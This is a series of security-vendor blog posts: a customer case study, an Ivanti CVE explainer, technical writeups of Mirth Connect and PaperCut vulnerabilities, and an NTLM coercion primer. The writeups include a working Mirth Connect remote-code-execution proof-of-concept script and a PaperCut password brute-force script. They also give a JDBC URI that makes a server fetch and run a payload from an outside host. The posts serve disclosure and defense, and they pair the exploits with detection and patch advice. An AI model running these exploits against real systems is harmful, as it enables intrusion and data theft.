After the first few pentests, Henry mentions that the results weren’t too shocking, especially when NodeZero found multiple weak credentials, as they had just done a pentest from another vendor a few weeks prior. However, after the third week of using NodeZero, it was able to escalate its privileges to become domain admin, effectively taking over the domain because a temporary account was created with default credentials. He was surprised by how quickly NodeZero was able to “shed light on the issue and provide immediate remediation instructions.”

Additionally, this issue prompted his team to not only quickly remediate but help fine tune their parent company’s current Identity and Access Management (IAM) policies and guidelines, in addition to their own. Although the temporary account was created by a systems admin, NodeZero finding the vulnerability allows for visibility and mitigation to ensure compliance with System and Organization Controls (SOC) and future audits. He also mentions that “they [him and his team] got to actually see domain admin compromise and what that would look like, as well as what sort of things [downstream impacts] would be pivoted into from obtaining those escalated privileges, which was very interesting.”

This example illustrates that, even if a company thinks they are complying and adhering to their current policies, there can still be gaps and credentials that get through the cracks. Henry emphasized that they thought they were doing a good job by following established IAM guidelines and policies. However, when NodeZero was introduced into their environment, they quickly discovered “that’s not necessarily true and some things like service accounts and similar had slipped through the cracks.” Furthermore, he goes on to say that these types of IT department and admin level accounts “were not subject to quarterly password resets, so NodeZero helped us figure out those accounts, keeping us in the know.”

Reducing Cost, Increasing Business Operations

As many of our customers have highlighted after switching over to NodeZero from traditional annual and/or manual pentesting is the significant reduction in per pentest cost. As Henry describes, “we are well below the cost of just a single annual pentest and are getting way more pentests per year, which is somewhere near 90% cost effectiveness and that NodeZero has more than paid for itself already.” He goes on to say that “only a few things from our previous annual pentest were solved because the report wasn’t good [lacked effective fix actions] or not many people were tracking it, so there just wasn’t a lot of helpful information.”

As a result, NodeZero has helped Henry and his team accelerate, justify, and steer their company into additional cyber operations that they otherwise wouldn’t have been able to do with a once-a-year annual pentest. “This not only helps us reduce risk, but has also helped us make better investment decisions,” he mentions.

Even if you’re not going with NodeZero, I would highly recommend that you do.

NodeZero revolutionizes the landscape for organizations seeking an autonomous pentesting solution, empowering a proactive and preemptive strategy to illuminate how an attacker sees your environment and reinforce resilience against cyber threats. Henry says that “even if you weren’t going with NodeZero, you need to get some kind of attack emulation exercise going, because we didn’t realize that we needed that until we had it.”

Subsequently, Henry and his team realized how valuable it is to see things from an attacker’s perspective, as well as gaining a lot more perspective into their defensive and offensive posture. “We like seeing how NodeZero moved like an attacker through our environment, as well as the narrative and context that it provided, allowing us to actually determine what is more likely to happen, and more likely not to happen,” says Henry.

Some organizations don’t realize the value of continuous pentesting until it’s too late and they have a breach or are paying millions of dollars in ransom. For the transportation and supply chain industry, recognizing this importance is critical as it helps proactively identify and address vulnerabilities, preventing potential disruptions, financial losses, and safeguarding the integrity of their intricate and interconnected operations across the globe.

Download PDF

The post Securing the Move: Cyber Resilience in the Transportation and Supply Chain Industry appeared first on Horizon3.ai.

Understanding the Actively-Exploited Ivanti CVE’s

22 January 2024 at 18:28

What is this all about?

Two recent Ivanti CVEs are being actively exploited by suspected nation-state threat actors. The CVEs are as follows:

  1. CVE-2024-21887: A command injection vulnerability in web components of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) allows an authenticated administrator to send specially crafted requests and execute arbitrary commands on the appliance. [9.1 Critical]
  2. CVE-2023-46805: An authentication bypass vulnerability in the web component of Ivanti ICS 9.x, 22.x and Ivanti Policy Secure allows a remote attacker to access restricted resources by bypassing control checks. This vulnerability can be leveraged in conjunction with CVE-2024-21887, a command injection vulnerability. [8.2 High]

According to the CISA KEV Catalog, Ivanti Connect Secure (ICS, formerly known as Pulse Connect Secure) and Ivanti Policy Secure contain a command injection vulnerability in the web components of these products, which can allow an authenticated administrator to send crafted requests to execute code on affected appliances. Both vulnerabilities are being exploited in the wild.

Why does this matter?

In both cases, remote unauthenticated attackers can bypass authentication and execute remote operating system commands to compromise the Connect Secure host.

How do you fix it?

Patches from Ivanti for both issues are expected to be available between January 19 and January 22, 2024. Ivanti shared this workaround while patches are in development.

How to verify you’re not at risk of exploitation?

As of January 17, 2024, Horizon3.ai announced new attack content for both CVEs as part of the latest NodeZero release, which now attempts to exploit these flaws. Running a NodeZero pentest will verify if you are exploitable, and once remediated, you can prove that you are no longer at risk of exploitation. If you’re not a customer, you can start your free trial here.

What You’ll See When Running NodeZero if You’re At Risk of Exploitation

Example impacts:

Proof of exploitation:

Example attack path:

(Note: this CVE can be directly exploited in ~60 seconds by an attacker and doesn’t require chaining.)

Additional Details

The Ivanti Connect Secure VPN faced a significant security threat due to two zero-day vulnerabilities identified as CVE-2023-46805 and CVE-2024-21887. Ivanti is preparing a security update to address these vulnerabilities in all supported versions (9.x and 22.x) of Connect Secure and Policy Secure gateways.

The first vulnerability, CVE-2024-21887, is a command injection vulnerability. This particular vulnerability would enable a cyber threat actor to inject and execute arbitrary commands on the system. The second vulnerability, CVE-2023-46805, is an authentication bypass vulnerability. This flaw could potentially allow a cyber threat actor to bypass the standard authentication processes of the system. These vulnerabilities posed a significant risk as they could be exploited to take control of an affected system.

According to Ivanti, “Upon learning of the vulnerability, we immediately mobilized resources and mitigation is available now. Patches will be released in a staggered schedule with the first version targeted to be available to customers the week of 22 January and the final version targeted to be available the week of 19 February.” Also, Ivanti does share a workaround while patches are in development.

Additionally, the Cybersecurity & Infrastructure Security Agency (CISA) emphasized the importance of immediate action, urging users and administrators to review Ivanti’s Knowledge Base article and security update. CISA also included these vulnerabilities in their Known Exploited Vulnerabilities (KEV) Catalog, highlighting the active exploitation and the need for rapid remediation to protect networks against these active threats.

Volexity has identified widespread exploitation of chained vulnerabilities CVE-2024-21887 and CVE-2023-46805. This exploitation has affected thousands of machines and may have infected many more. Volexity’s scan methodology would not have worked against organizations that have already deployed the Ivanti mitigation or had otherwise been taken offline. As a result, Volexity suspects there may likely be a higher number of compromised organizations than identified through scanning (which totaled more than 1,700).

In summary, the Ivanti Connect Secure VPN vulnerabilities represented a critical security risk, with potential for unauthorized access and control over affected systems. Immediate action and ongoing vigilance are essential for mitigating these threats.

For more detailed information and updates, you can refer to the following:

CISA website: https://www.cisa.gov/news-events/alerts/2024/01/10/ivanti-releases-security-update-connect-secure-and-policy-secure-gateways

Volexity’s analysis: https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/

The post Understanding the Actively-Exploited Ivanti CVE’s appeared first on Horizon3.ai.

Writeup for CVE-2023-43208: NextGen Mirth Connect Pre-Auth RCE

12 January 2024 at 14:15

Introduction

In Oct. 2023, we released an advisory for CVE-2023-43208, a pre-authenticated remote code execution vulnerability affecting NextGen Mirth Connect. Mirth Connect is an open source data integration platform widely used by healthcare companies. This post dives into the technical details behind this vulnerability, which is ultimately related to insecure usage of the Java XStream library for unmarshalling XML payloads. If you’re a user of Mirth Connect and haven’t patched yet, we strongly encourage you to upgrade to the 4.4.1 patch release or later. This is an easily exploitable vulnerability that our own pentesting product, NodeZero, has exploited successfully against a number of healthcare organizations.

Reversing a Prior Vulnerability: CVE-2023-37679

CVE-2023-43208 arises from an incomplete patch for CVE-2023-37679, also a pre-auth RCE, reported by IHTeam. CVE-2023-37679 was reportedly patched in Mirth Connect 4.4.0, which was released on Aug 2, 2023. In the release notes for 4.4.0, we found it odd that this vulnerability was reported to affect only Mirth Connect versions running Java 8.

Looking through the commit history, it was apparent that the patch for CVE-2023-37679 involved setting up an XStream denylist in an XStreamSerializer class to prevent the marshalling of certain unsafe data types that could be used for remote code execution.

XStream has a long history of CVEs associated with it, and the denylist approach is notoriously difficult to secure. We were convinced the vulnerability was not patched and decided to probe deeper.

Tracing the code, the XStreamSerializer is invoked through the XmlMessageBodyReader class, a type of interceptor that converts XML payloads into objects prior to the passing of those objects into Java servlet methods for HTTP request processing.

Mirth servlets in general extend the MirthServlet base class, which handles checking authentication in the initLogin method. This authentication check happens prior to the unmarshalling of any XML payloads by XmlMessageBodyReader.

However, for a few servlets, authentication is not checked in the MirthServlet base class and is instead handled in the servlet itself. In particular, the ConfigurationServlet, SystemServlet, and UserServlet all extend the MirthServlet base class but set the initLogin property to false. This opens up the possibility for a few API calls where XML payloads are unmarshalled by the XMLMessageBodyReader class prior to the authentication check in the servlet.

To reproduce CVE-2023-37679, we started up an old version of Mirth Connect, 4.1.1, from Docker Hub and sent a well-known XStream RCE payload to the POST /users endpoint using the Swagger UI. This payload was disclosed by @pwntester back in 2013 and also used relatively recently by @SinSinology and @steventseeley recently to exploit VMware NSX Manager.

And it worked, against a version of Mirth running Java 11.0.16.

We then repeated this against other versions of Mirth Connect. Curiously we found the same exploit payload failed against older Mirth versions, also running with Java 11, and we also found the payload didn’t work against Mirth 4.3, which was running Java 17.

Creating a General Exploit for CVE-2023-37679

Debugging the failure of the exploit payload against different Mirth versions, we found two problems:

Older versions of Mirth use older versions of the XStream library, and some of these versions refuse to unmarshall the java.beans.EventHandler class. For instance, testing against XStream 1.4.7 and Java 11, we get the following error:

And the payload fails with Java 17+ because private fields in the java.beans.EventHandler class are not accessible. Java 9 introduced the concept of “modules” to better encapsulate Java libraries, and starting with Java 17, the JRE explicitly forbids access to private members of modularized libraries unless the developer explicitly allows access by setting the --add-opens flag. This can break XStream unmarshalling because XStream relies heavily on reflection to work.

To bypass both limitations, we decided to look for an alternative InvocationHandler class similar to java.beans.EventHandler but in a non-modularized third-party library. Any libraries that aren’t modularized fall into a catch-all UNNAMED module, and code within the UNNAMED module is free to use reflection to access the private members of other code within the UNNAMED module.

We found such a class within the apache.commons.lang3 library: org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler:

We modified the payload accordingly, and it worked, as shown below against Mirth Connect 4.3 running Java 17.

 

Bypassing the Patch for CVE-2023-37679

We now had a generic exploit for CVE-2023-37679 that worked reliably against versions of Mirth Connect <= 4.3.0, regardless of the Java version. The only remaining task was to bypass the patch for CVE-2023-37679 in Mirth Connect 4.4. The patch, as shown above, adds a denylist to prevent certain dangerous classes from being unmarshalled. We needed to find an alternative to the ProcessBuilder class to execute a system command.

The denylist in the patch was based on the denylist in the XStream security documentation for older XStream versions. XStream cautions however that it does not account for classes in third party libraries:

"All those scenarios were based on types that are delivered with the Java runtime at some version. Looking at other well-known and commonly used Java libraries libraries such as ASM, CGLIB, or Groovy, you will have to assume other scenarios for exploits as well. A class like InvokerTransformer of Apache Commons Collections has a high potential for attacks. By default XStream 1.4.18 works now with a whitelist. If you modify the default setup, it is also your responsibility to protect your clients from such vulnerabilities."

As it turns out, InvokerTransformer is the route we went as an alternative for the ProcessBuilder class. We came up with a new payload shown below:

And this worked against Mirth Connect 4.4 running Java 17:

 

POC Script

Putting it altogether, here’s a proof-of-concept for exploiting this vulnerability:

import requests
from argparse import ArgumentParser
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PAYLOAD = """<sorted-set>
  <string>abcd</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
      <target class="org.apache.commons.collections4.functors.ChainedTransformer">
        <iTransformers>
          <org.apache.commons.collections4.functors.ConstantTransformer>
            <iConstant class="java-class">java.lang.Runtime</iConstant>
          </org.apache.commons.collections4.functors.ConstantTransformer>
          <org.apache.commons.collections4.functors.InvokerTransformer>
            <iMethodName>getMethod</iMethodName>
            <iParamTypes>
              <java-class>java.lang.String</java-class>
              <java-class>[Ljava.lang.Class;</java-class>
            </iParamTypes>
            <iArgs>
              <string>getRuntime</string>
              <java-class-array/>
            </iArgs>
          </org.apache.commons.collections4.functors.InvokerTransformer>
          <org.apache.commons.collections4.functors.InvokerTransformer>
            <iMethodName>invoke</iMethodName>
            <iParamTypes>
              <java-class>java.lang.Object</java-class>
              <java-class>[Ljava.lang.Object;</java-class>
            </iParamTypes>
            <iArgs>
              <null/>
              <object-array/>
            </iArgs>
          </org.apache.commons.collections4.functors.InvokerTransformer>
          <org.apache.commons.collections4.functors.InvokerTransformer>
            <iMethodName>exec</iMethodName>
            <iParamTypes>
              <java-class>java.lang.String</java-class>
            </iParamTypes>
            <iArgs>
              <string><<COMMAND>></string>
            </iArgs>
          </org.apache.commons.collections4.functors.InvokerTransformer>
        </iTransformers>
      </target>
      <methodName>transform</methodName>
      <eventTypes>
        <string>compareTo</string>
      </eventTypes>
    </handler>
  </dynamic-proxy>
</sorted-set>
"""

def _escape_xml(str_xml):
    str_xml = str_xml.replace('&', '&amp;')
    str_xml = str_xml.replace('<', '&lt;')
    str_xml = str_xml.replace('>', '&gt;')
    str_xml = str_xml.replace('"', '&quot;')
    str_xml = str_xml.replace("'", '&apos;')
    return str_xml

def main():
    parser = ArgumentParser()
    parser.add_argument('-u', '--url', required=True, help='Target URL')
    parser.add_argument('-c', '--command', required=True, help='OS command to run')
    args = parser.parse_args()
    command = _escape_xml(args.command)
    url = args.url.rstrip('/')
    payload = PAYLOAD.replace('<<COMMAND>>', command)
    print(f'Sending payload:\n{payload}')
    r = requests.post(f'{url}/api/users',
                  headers={'X-Requested-With': 'OpenAPI', 'Content-Type': 'application/xml'},
                  data=payload,
                  verify=False,
                  timeout=15)
    print(f'Payload sent. Received status code: {r.status_code}')


if __name__ == '__main__':
    main()

Patch for CVE-2023-43208

Mirth Connect 4.4.1 patches CVE-2023-43208 by getting rid of the XStream denylist altogether and moving to an explicit allowlist of safe classes.

Detection

To check if your Mirth Connect instance is vulnerable:

% curl -k -H 'X-Requested-With: OpenAPI' https://<server>:<port>/api/server/version
4.4.0

Any server reporting a version less than 4.4.1 is highly likely to be exploitable.

If you’re writing detection rules for this exploit, the following points may be of interest to you:

  • There are many other endpoints outside of POST /users that accept and unmarshal XML payloads.
  • There are other exploit payloads that will work. For instance, afterwards, we found afterwards that the off-the-shelf CommonsCollection6 gadget posted by @chudyPB here also works with some minor edits. Depending on the XStream version installed with Mirth Connect, other payloads are possible.

Impact

CVE-2023-43208/CVE-2023-37679 is an easily exploitable, unauthenticated remote code execution vulnerability, and we urge all users of Mirth Connect to patch to at least version 4.4.1. At the time of our advisory in October, there were ~1300 Internet-facing installs of Mirth Connect. Attackers would most likely exploit this vulnerability for initial access or to compromise sensitive healthcare data. On Windows systems, where Mirth Connect appears to be most commonly deployed, it typically runs as the SYSTEM user.

Here’s a real-world attack path showing NodeZero exploiting this vulnerability on a Windows system, installing a remote access tool (RAT) through this exploit, and then dumping credentials to get access as a privileged Windows domain user:

References

Sign up for a free trial and quickly verify you’re not exploitable.

Start Your Free Trial

The post Writeup for CVE-2023-43208: NextGen Mirth Connect Pre-Auth RCE appeared first on Horizon3.ai.

Writeup for CVE-2023-39143: PaperCut WebDAV Vulnerability

12 January 2024 at 14:15

Introduction

Back in Aug. 2023 we released an advisory for CVE-2023-39143, a critical vulnerability that affects Windows installs of the PaperCut NG/MF print management software. Attackers can exploit this vulnerability to download and delete arbitrary files, and in certain common configurations upload files, leading to remote code execution. This vulnerability was patched in PaperCut version 22.1.3 in July 2023.

This post is a deep dive into the technical details behind this vulnerability. As you’ll see, this isn’t exactly the kind of vulnerability that will win any accolades at Pwn2Own, but it’s something that a patient determined attacker may choose to exploit in certain targeted scenarios. It’s an interesting case study of how a bunch of seemingly minor issues can be chained together to achieve total compromise.

Brute Forcing a Credential

We decided to research PaperCut last year after reports of widespread exploitation of CVE-2023-23750. A number of Horizon3 customers are in the state/local/education sector and are users of PaperCut.

PaperCut is a traditional Java web application. Looking through the web.xml, one of the interesting endpoints that stood out was a WebDAV endpoint:

This endpoint is guarded by the WebDavSecurityFilter class, which checks for basic authentication credentials for the papercut-webdav user. The password is a 6 digit code and can be brute forced. No rate-limiting is enforced on this endpoint.

In our local network it took about an hour to get through all million codes. An attacker’s speed of brute forcing will vary depending on the network, how many parallel threads are run, and how many PaperCut instances are being targeted at once.

import requests
import base64
requests.packages.urllib3.disable_warnings()
from concurrent.futures import ThreadPoolExecutor
import sys

url = 'https://10.0.229.11:9192/webdav/hi'

def try_passwords(min, max):
    for i in range(min, max):
        password = str(i).rjust(6, '0')
        auth_raw = 'papercut-webdav:' + password
        auth_header = 'Basic ' + base64.b64encode(auth_raw.encode()).decode()
        r = requests.post(url, headers = {'Authorization': auth_header}, verify=False)
        print(i, r.status_code)
        if (r.status_code != 403):
            # if successful, will return 501 Not implemented because POST is not supported
            print(f'Got password! {password}')
            sys.exit(0)

with ThreadPoolExecutor(max_workers=5) as executor:
    executor.submit(try_passwords, 0, 200000)
    executor.submit(try_passwords, 200000, 400000)
    executor.submit(try_passwords, 400000, 600000)
    executor.submit(try_passwords, 600000, 800000)
    executor.submit(try_passwords, 800000, 1000000)

Note that the WebDAV endpoint only operates over HTTPS, and in general everything in this post requires access to a PaperCut server over HTTPS.

The WebDAV Attack Surface: Path Traversal in net.sf.webdav Package

Getting access to the WebDAV interface opens up an interesting attack surface. The code in WebDavSecurityFilter disallows GET requests, but other HTTP methods such as MOVE, COPY, DELETE, and PUT are allowed.

PaperCut’s WebDavServlet class extends net.sf.webdav.WebdavServlet in the third party net.sf.webdav package. We found a Windows-specific path traversal vulnerability in this package where paths are sanitized for forward slashes but not backslashes.

This is a very old third party package and it doesn’t appear to have a maintainer. We traced shared code in this package back to Apache Tomcat, but this is not exploitable in Tomcat because Tomcat prohibits backslashes in paths. PaperCut uses Jetty, which is happy to pass the backslashes through.

Listing Arbitrary Directories

With the path traversal, it’s possible to list the contents of arbitrary directories on the host using the WebDAV PROPFIND method. Here’s an example of listing files and directories under C:\Users.

Deleting Arbitrary Files

It’s possible to use the path traversal to delete arbitrary files and folders on the file system. Here’s an example of deleting the C:\test folder.

Using a Second Path Traversal Issue to Download Arbitrary Files

As mentioned above, the WebDavSecurityFilter class guards against GET requests hitting the WebDavServlet. However, we found a second Windows-specific path traversal issue in the CustomReportExample servlet that allows retrieval of image files at arbitrary paths on the file system.

We found that we could use the first path traversal issue in the net.sf.webdav package to COPY arbitrary files into the PaperCut webdav folder with a png extension, and then use the second path traversal issue in CustomReportExampleServlet to retrieve those files.

Here’s an example of retrieving PaperCut’s server.properties file, which contains the admin user’s password hash.

Combined with the ability to list arbitrary directories using PROPFIND, this means an attacker can exfiltrate anything on disk. For instance, PaperCut uses Derby by default as a database, and these Derby database files can be retrieved. An attacker can then use tools like ij to execute SQL to access any data in the database.

Uploading Arbitrary Files

The WebDavServlet class supports uploading files via the HTTP PUT method, and this is also vulnerable to path traversal, but there’s a catch. The path to the PUT must start with a valid scan job id, i.e. it must look something like https://<server>:<port>/webdav/<scan job id>/..\..\..\<filename>. This interface is meant for printers to upload files for scan jobs to PaperCut.

To exploit this endpoint then, an attacker must be able to generate a valid scan job id. This requires a configuration of PaperCut where external device integration is turned on. This is the default for PaperCut MF and certain flavors of PaperCut NG. From our testing in client environments, the vast majority of PaperCut users have this setting turned on.

Assuming this external device integration setting is turned on, there are two scenarios where an attacker can generate a scan job id:

  1. The site server API is accessible (the default), and PaperCut is configured to use a secondary site server (somewhat uncommon)
  2. The external device XMLRPC API is accessible (the default and a common scenario)

We’ll look at each of these scenarios.

File Upload Using a Site Server

PaperCut’s main application server exposes an API for secondary servers (site servers) to carry out actions on behalf of users that connect to the site server. One of these APIs allows site servers to create scan jobs.

Requests to the site server API are authenticated using a site server UUID. This is something an attacker can acquire by exploiting the arbitrary file download vulnerability described earlier.

An attacker can pretend to be a site server and submit scan jobs using the site server API. To create a scan job, an attacker would send a scan job request to the /rpc/api/rest/master/scan-job/createJob/<site server UUID> endpoint with a scan job request JSON payload that looks something like this.

{
    "username": [
        "jsmith"
    ],
    "locale": [
        "rO0ABXNyABBqYXZhLnV0aWwuTG9jYWxlfvgRYJww+ewDAAZJAAhoYXNoY29kZUwAB2NvdW50cnl0ABJMamF2YS9sYW5nL1N0cmluZztMAApleHRlbnNpb25zcQB+AAFMAAhsYW5ndWFnZXEAfgABTAAGc2NyaXB0cQB+AAFMAAd2YXJpYW50cQB+AAF4cP////90AAJVU3QAAHQAAmVucQB+AARxAH4ABHg="
    ],
    "userParams": [],
    "jobSettings": [
        "rO0ABXNyADNiaXoucGFwZXJjdXQucGNuZy5kb21haW4uc2Nhbi5TY2FuU2V0dGluZ3NGYWN0b3J5JDSVL6JDv6zlygIAAUwAD3ZhbCRzZXR0aW5nc01hcHQAD0xqYXZhL3V0aWwvTWFwO3hyAC1jb20ucGFwZXJjdXQuc2VydmVyLmxhbmcuc2Nhbi5TY2FuSm9iU2V0dGluZ3OtAwAAtdjyIwIAAHhwc3IANWNvbS5nb29nbGUuY29tbW9uLmNvbGxlY3QuSW1tdXRhYmxlTWFwJFNlcmlhbGl6ZWRGb3JtAAAAAAAAAAACAAJbAARrZXlzdAATW0xqYXZhL2xhbmcvT2JqZWN0O1sABnZhbHVlc3EAfgAFeHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdXEAfgAHAAAAAA=="
    ],
    "accountName": [
        "jsmith"
    ],
    "deviceId": [
        "43422"
    ],
    "scanActionId": [
        "1001"
    ]
}

In the above payload, the username and accountNames are any user in the system, the deviceId doesn’t matter, and the scanActionId is set to first default scan action id of 1001.

The return value from this API call is a scan job id. This can be then used against the WebDAV API using the PUT method to place a file anywhere on the file system.

File Upload Using an Existing Device or Registering a Device

If PaperCut has been configured with a device that supports integrated scanning, and integrated scanning has also been enabled for that device, it’s possible to create a scan job for that device using the external device XMLRPC API hosted at /rpc/extdevice/xmlrpc.

The XMLRPC API is meant to be used by external devices. The API requires authentication, and there is a unique username and password per device type. The username hashes and password hashes for these devices are stored in the source code. We were able to discover valid cleartext credentials for the API in the PaperCut install itself. We were then able to authenticate to the API and start a session using the beginSession API (we are not disclosing the hardcoded credentials here).


>>> import xmlrpc.client
>>> import ssl
>>> c = xmlrpc.client.ServerProxy('https://10.0.229.11:9192/rpc/extdevice/xmlrpc', context=ssl._create_unverified_context())
>>> c.api.beginSession('REDACTED', 'REDACTED', '1.5')
'dAZ8R'

From there, the integratedScanJobStarted API can be used to create a scan job id, using a valid device id and username.

Then a file can be placed anywhere on disk using the WebDAV PUT method:

If no device exists ahead of time, an attacker can simply use the XMLRPC API to self-register a device that supports scanning, then turn on integrated scanning for the device, and then generate a scan job id.

Remote Code Execution

There are a few paths to remote code execution, especially if file upload is possible. Perhaps the easiest method for RCE is to leverage another vulnerability reported to ZDI by an Anonymous user as ZDI-CAN-21013. This vulnerability was fixed in the same patch release that CVE-2023-39143 was fixed. This vulnerability is related to an out-of-date Postgres driver vulnerable to CVE-2022-21724.

To exploit this, an attacker would first need to acquire the admin password. This can be accomplished in one of two ways:

  • Cracking the admin password hash retrieved from the server.properties file by exploiting the arbitrary file download aspect of CVE-2023-39143
  • If file upload is possible: Reset the admin password by uploading a new server.properties file containing a new admin password. PaperCut dynamically reads this file every time an admin tries to log in.

For instance to reset the admin password to admin12345:

Once logged in as admin, the Postgres driver can be exploited by setting up a crafted JDBC URI in the External User Lookup section of the Advanced config:

For instance setting the value to jdbc:postgresql://127.0.0.1:5432/test/?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://10.0.225.200:900/exp.xml will cause the PaperCut server to connect back to the IP address 10.0.225.200 to download an XML payload containing an OS command to execute (in this case a ping command):

The execution of the OS command can be triggered by simply searching for a user in the Users UI, following PaperCut’s instructions here.

Detection

The following command checks if a PaperCut server is not patched for CVE-2023-39143 and is running on Windows.

curl -w "%{http_code}" -k --path-as-is "https://<IP>:<port>/custom-report-example/..\..\..\deployment\sharp\icons\home-app.png"

A 200 response indicates the server has not been patched and is running on Windows. A 404 response indicates the server has been patched or not running on Windows.

The following checks if the WebDAV endpoint is accessible, which is a requirement for exploiting CVE-2023-39143.

curl -w "%{http_code}" -X OPTIONS -k "https://<IP>:<port>/webdav/"

A 401 response code indicates the WebDAV interface is accessible.

From a network detection rules standpoint, any traffic going to the /webdav endpoint should be considered suspicious. The PaperCut server.log will show failed authentication attempts:

Conclusion

If you’re a user of PaperCut who is exposing it to the Internet and still haven’t yet updated to 22.1.3+, we highly recommend you update to the latest. If upgrading is not immediately possible, it is possible to mitigate this vulnerability by configuring an allowlist of device IP addresses that are permitted to communicate with the PaperCut server. Refer to the “IP Address Allow-listing” section of the PaperCut security best practices guide.

CVE-2023-39143 is made possible by a series of seemingly minor issues:

  • Weak authentication to the WebDAV endpoint
  • Lack of rate limiting of authentication attempts to the WebDAV endpoint
  • Not limiting HTTP methods invoked over WebDAV
  • Path traversal in the third party net.sf.webdav package
  • Path traversal in the CustomReportExample servlet
  • Using UUIDs to authenticate a site server to a PaperCut server
  • Hardcoded credentials to access the External Device XMLRPC API

In the July 2023 patch release, PaperCut addressed most of these issues. The WebDAV endpoint requires a strong password that can’t be brute forced, and rate limiting is enforced. There are restrictions on the WebDAV methods that can be called. The path traversal issue in the CustomReportExample servlet is fixed, and there’s logic in place to prevent malicious paths from making to to the net.sf.webdav package.

From our experience, third party packages continue to be a major blind spot for application security, and it’s not just about the known vulnerabilities. It’s the latent attack surface represented by all the undiscovered vulnerabilities out there in libraries that developers rarely look at and appsec tools are rarely configured to inspect.

References

Sign up for a free trial and quickly verify you’re not exploitable.

Start Your Free Trial

The post Writeup for CVE-2023-39143: PaperCut WebDAV Vulnerability appeared first on Horizon3.ai.

The Elephant In the Room – NTLM Coercion and Understanding Its Impact

9 January 2024 at 15:47

Since introducing NTLM coercion techniques such as PetitPotam into the NodeZero platform, we frequently have security practitioners request help understanding these techniques and what impact they have to their enterprise. There is a lack of concise resources to inform Blue Teams on how these techniques work, and clearly distinguishing them from other misconfigurations/vulnerabilities in the attack chain – particularly the NTLM Relay vulnerable  Active Directory Certificate Services (ADCS) HTTP web endpoints. 

The level of risk NTLM coercion opportunities provide in a network depends on the environment and mitigation of said risk can be done at several points in the attack chain – keep patched, prevent attackers from obtaining user credentials, and minimize the relay attack surface. 

Back to Basics – NTLM Relay Attacks

NTLM Relay Attack with Coercion and ADCS ESC8

The primary use case for PetitPotam and other NTLM coercion techniques is to source authentication material for an NTLM relay attack. NTLM relaying is a popular and useful man-in-the-middle tactic that takes advantage of the 20-year-old NTLMv1/2 challenge-response authentication protocol. An attacker, via “some mechanism”, is able to intercept authentication requests from a client and forward them to a vulnerable service configured to use NTLMv1/2 for authentication. The end result: the vulnerable service authenticates the attacker, believing they are the original client. 

Historically, passive protocol poisoning techniques were the primary method for attackers to initiate an NTLM relay attack. These techniques rely on an enterprise using vulnerable broadcast protocols, such as LLMNR or mDNS, to reroute connection requests to a relay server. With the introduction of NTLM coercion attacks, researchers discovered a whole new world for getting a source client to initiate an authentication session with a relay server. 

NTLM Coercion – Sourcing Privileged Machine Credentials for NTLM Relay Attacks

The beginning of the NTLM coercion hype started in 2018 when researcher Lee Christensen (@tifkin_) and others at SpectreOps reported an MS-RPRN abuse to Microsoft. The issue, to become widely known as “PrinterBug” in the community, was an authenticated method (i.e., an attacker needs to already have domain credentials) for getting a server running the Print Spooler service to initiate an NTLMv2 authentication session (using its Machine Account credentials) with a server of the attackers choosing. Microsoft considered this issue to be “by design”, and essentially a feature of the protocol. 

In 2021, researcher Giles Lionel (@topotam) made an elephant sized splash by releasing his PetitPotam tool – utilizing a similar vulnerability in MS-EFSRPC. The difference? In addition to finding several authenticated methods in MS-EFSRPC for coercion, Giles discovered two methods (CVE-2021-36943 AND CVE-2022-26925) for unauthenticated coercion. This meant an attacker without any credentials could force a vulnerable server to connect to the relay server. To make matters worse, Domain Controllers were vulnerable to the unauthenticated attack by default. 

Researchers inspired by the work of Christensen and Lionel continued to dig into additional RPC protocols and discover additional authenticated coercion opportunities but none have come close to the impact of unauthenticated PetitPotam. 

Technique Alias Protocol Researcher Authenticated Unauthenticated
PrinterBug MS-RPRN Lee Christensen, et al.  Yes No
PetitPotam MS-EFSRPC Giles Lionel Yes CVE-2021-36942

CVE-2022-26925

ShadowCoerce MS-FSRVP Giles Lionel And Charlie Bromberg(@_nwodtuhs) CVE-2022-30154 No
DFSCoerce MS-DFSNM  Filip Dragović (@Wh04m1001) Yes No
CheeseOunce MS-EVEN @evilash Yes No

Brace For Impact – The NTLM Relay Attack Surface

Once the targeted machine (likely a Domain Controller) connects to the attacker’s malicious server, the attacker can now relay the authentication session to a vulnerable service — allowing the attacker to masquerade as the machine to said service. Possible vulnerable services include:

  • Active Directory Certificate Services (ADCS) Web Endpoint.
    • The attacker can request a PKI certificate for the DC, and utilize it to perform a DCSync or RBCD attack. 
  • LDAP with Signing Disabled
    • Can be utilized to perform an RBCD attack.
  • Domain Joined machines with Kerberos Unconstrained Delegation (KUD)
  • SMB with Signing Disabled
    • NOT typically useful in an NTLM coercion attack – as machine accounts rarely have access to valuable SMB file shares.
  • Other business services that accept NTLMv1/2 authentication – such as Outlook EWS.
ADCS – Why Everyone is Focused On It

When PetitPotam first hit the scene in 2021, most of the mitigations published were focused on killing the relay opportunity to ADCS – not on blocking the coercion technique itself. Although this created some confusion in the community (when a researcher says “PetitPotam” are they talking about just the coercion technique or the entire attack path to Domain Compromise via ADCS?), it was for a good reason. 

In 2021, Will Schroder (@harmj0y) and Lee Christensen of SpectreOps published their white paper on various privilege escalations using Active Directory Certificate Services (ADCS) – Microsoft’s Active Directory integrated PKI solution. One of the key findings, known as ESC8, was the various HTTP enrollment endpoints that administrators could enable for ADCS were susceptible to NTLM relay attacks. If an attacker could relay a Domain Administrator or Domain Controllers session to one of these endpoints, they could potentially obtain a PKI certificate for the User/Machine. Attackers could then utilize these certificates to log in and compromise the domain. PKI certificates are highly valuable credentials – as they are very persistent, providing access even if a compromised user reset their domain password. 

The combination of PetitPotam’s unauthenticated coercion attack with an ESC8 vulnerable ADCS server meant an attacker could easily obtain a PKI certificate for a Domain Controller – enabling them to fully compromise the domain by performing a DCSync or RBCD attack. 

Real World Example

NTLM Coercion Attack Path Example

The above NodeZero attack graph is a great real-world example of the impact NTLM Coercion and ADCS ESC8 can have on an enterprise. 

